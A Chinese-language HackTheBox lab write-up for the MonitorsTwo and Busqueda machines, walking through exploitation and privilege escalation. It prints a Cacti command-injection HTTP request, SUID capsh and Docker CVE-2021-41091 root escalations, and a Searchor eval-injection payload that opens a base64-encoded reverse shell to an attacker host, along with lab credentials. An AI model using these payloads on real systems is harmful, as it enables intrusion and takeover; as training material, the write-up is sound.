HTB:MonitorsTwo&Busqueda

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
8 分钟

HTB:MonitorsTwo&Busqueda

MonitorsTwo

常规信息收集

扫到了经典 80 和 22 端口,访问 80 ,发现是一个 cacti 的页面,并且标注出了版本号,那有版本号肯定就要尝试上网找找 exploit 。

Cacti 命令执行

https://blog.csdn.net/qq_41904294/article/details/128855445

利用方式在这篇文章里写得很全面了,就是访问这个 remote_agent.php ,然后会提示鉴权不通过(因为还没有登录),于是使用 X-Forwarded-For 来伪造本地访问(SSRF),然后在 poller_id 里面传入反引号包裹的命令即可。

另外还有一点就是这是个无回显的命令执行,所以这篇文章和我这里采用了先写好一个 shell.sh (反弹 shell ),再 wget 并 bash 执行获得 shell 的方法。

image.png

1
2
3
4
5
6
7
8
9
10
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`bash+shell.sh` HTTP/1.1
Host: 10.10.11.211
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: Cacti=746e58cbca188ca17f5487032f0d2060; CactiDateTime=Sun Nov 12 2023 09:25:18 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480
Upgrade-Insecure-Requests: 1

capsh 提权

find / -perm /4000 2>/dev/null

寻找特殊权限位即带有 SUID 标记的文件,SUID 标记允许用户以文件所有者的权限运行可执行文件,存在提权可能(find / -perm /4000 -user root)。

image.png

capsh 是一个命令行工具,用于管理进程的能力(capabilities)。能力是一种细粒度的权限控制机制,允许进程在不完全提升为root用户的情况下执行某些特权操作。capsh 提权的利用见下面这篇文章:

https://gtfobins.github.io/gtfobins/capsh/#suid

然后这个网址里面也是记录了很多提权的手法,可以学习学习:

https://gtfobins.github.io/

./capsh --gid=0 --uid=0 --

以下是对该命令中各部分的解释:

  • capsh: capsh是一个工具,用于设置和显示进程的Linux特权(capabilities)。
  • --gid=0: 设置进程的组ID(GID)为0,即root组。
  • --uid=0: 设置进程的用户ID(UID)为0,即root用户。
  • --: 双破折号(–)通常用于分隔命令行选项和参数,确保后续的参数不会被当作选项处理。

由于capsh具有SUID位设置为root的特权,因此当通过执行该命令时,它会以root用户的权限运行。通过将UID和GID设置为0,该命令确保进程以最高特权级别运行。
然而,发现这是在 docker 环境下(通过根目录下的 .dockerenv 文件),获得了 root 也没啥用(后面利用 docker 漏洞的时候有用)

image.png

数据库信息收集

另寻他法,有网站,一定会有数据库,而且这里我们还有运行网站 root 用户的权限,直接查看 /var/www/html/include/config.php,获得数据库名称和登录的帐号密码:

image.png

image.png

mysql -h db -u root -proot cacti -e ‘show tables;’
-h 指定数据库 hostname,-u 指定用户名,-p紧跟密码,不用空格,后接数据库的名称,-e 接查询语句。

找到一个 user_auth 表,里面有用户名和密码 hash ,使用 john 可以破解其中一个 marcus 的密码:funkymonkey(这里 hashcat 会显示错误:Token length exception),拿去试试 ssh ,登录成功,获得 user flag 。经典提示你有邮件,看看是不是又直接告诉有什么漏洞了:

image.png

看内核版本,第一个用不了,第二个 XSS 用了也没用,重点关注一下第三个。看看 docker 的版本:20.10.5,确实可以打。

docker root 创建文件提权

docker 20.10.9 以下该提权方法有效,需要获得主机普通用户权限以及 docker 环境下的 root 权限。

先上 exp:
https://github.com/UncleJ4ck/CVE-2021-41091/blob/main/exp.sh

其实不用这个也行,道理很简单,自己也可以操作一下。简单来说,道理就是在 /var/lib/docker 中有几个目录,它们被挂载在 Docker 容器上并被使用,低权限用户可以访问这些目录。这意味着,如果攻击者获得了容器内部的根访问权限,他们就可以创建任意的 SUID 文件,容器外部的非特权用户可以与这些文件进行交互,并使用这些文件来提升他们的特权。

下面是具体的操作。

先通过 findmnt 命令来将挂载在系统的目录全部列出,包括 docker 使用的:

image.png

为了进一步确定到底是哪个目录,需要在之前的 docker 环境下使用 mount 命令,就可以找到具体目录。

接下来只需要使用 docker 的 root 将 /bin/bash 复制到 / 目录,并添加 SUID 权限即可让目标机的低级用户使用这个 /bin/bash 的复制可执行文件进行提权(-p 开启特权模式)。

image.png

不加 ./ ,使用的还是原来的低权限 bash ,加了才使用当前目录下的。

Busqueda

常规信息收集

还是普通的 22 和 80 端口,-A 也啥都扫不出来,直接看 80 的 web 页面,echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts

Searchor 2.4.2 Exp

web 页面用的框架版本直接告诉你了,Searchor 2.4.0 ,上网找找有没有对应的 exp (如果没告诉你,也可以通过 CMS 指纹识别等手段自行识别)

image.png

确实找到了:
https://github.com/jonnyzar/POC-Searchor-2.4.2

这个漏洞成因很简单,就是 Searchor 的源码处有这样的 eval 危险代码:

1
2
3
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)

直接把用户输入的 query 拼接到 eval 里面,于是我们可以命令拼接执行代码(直接把后面的注释掉):

')+str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#

另外,官方题解写的时候还没有 exp 发布,也可以学习一下网上没找到 exp ,但是可能存在漏洞应该怎么办。先上官网把旧版的下载下来,再和新版的对比看改了什么,再想如何利用。

./git/config 信息泄漏

image.png

这个 url 直接把 git 的用户名和密码:jh1usoih2bkjaspwe92 以及远程仓库地址都爆了,访问远程仓库:gitea.searcher.htb (记得加 hosts),发现有两个用户,一个是 cody ,另一个是 administrator ,目标显然就是登录 administrator 账户,然后看他的私有仓库有什么好东西。

回到我们之前获得的低权限账户里面,老操作 sudo -l 看看有什么可以用的:

image.png

刚刚发现的那个密码经 ssh 验证也是这个账户的密码,发现可以运行这个 checkup ,那就运行一下看看:

image.png

docker-ps 列出了容器,可以看到我们刚刚访问的 gitea 服务就在这里,还有一个 docker-inspect 可以查看 docker 信息:

docker-inspect 查看信息

docker inspect命令用于检查 Docker 对象的详细信息,包括容器、镜像、网络、卷等。它提供了关于 Docker 对象的元数据和配置的详细视图。以下是一些常用的 docker inspect 命令参数:

  • <object>:要检查的 Docker 对象的标识符,可以是容器、镜像、网络、卷等的名称或ID。
  • --format="<format>":指定输出的格式。可以使用Go模板语法来定义自定义输出格式。例如,--format='{{.Name}}: {{.State.Status}}'将只显示容器名称和状态。
  • --type="<type>":指定要检查的对象类型。可以是container(容器,默认)、image(镜像)、network(网络)或volume(卷)。
  • --size:显示对象的大小信息,例如镜像的大小。
  • --all:显示所有对象的详细信息,包括停止的容器和未使用的镜像。
  • --no-trunc:显示完整的输出,不截断文本。
  • --help:显示 docker inspect 命令的帮助信息。

这里我们可以使用 docker inspect --format='{{json .}}' <container_name_or_id> 来获得所有的信息,另外 jq 工具可以处理 json 数据,使其好看一点,这台靶机上正好给你装上了,| jq 就行。找到密码:

image.png

可以看到刚刚我们可以运行的 checkup.py 的源码,审计一下:

image.png

image.png

这里竟然用了相对路径!!!!那直接移动到 /tmp 下,自己写一个反弹 shell 的 full-checkup.sh ,然后在 /tmp 目录下用刚刚的命令 sudo 运行一下 full-checkup 即可获得 root 的 shell (记得别和上面那个反弹 shell 一个端口)。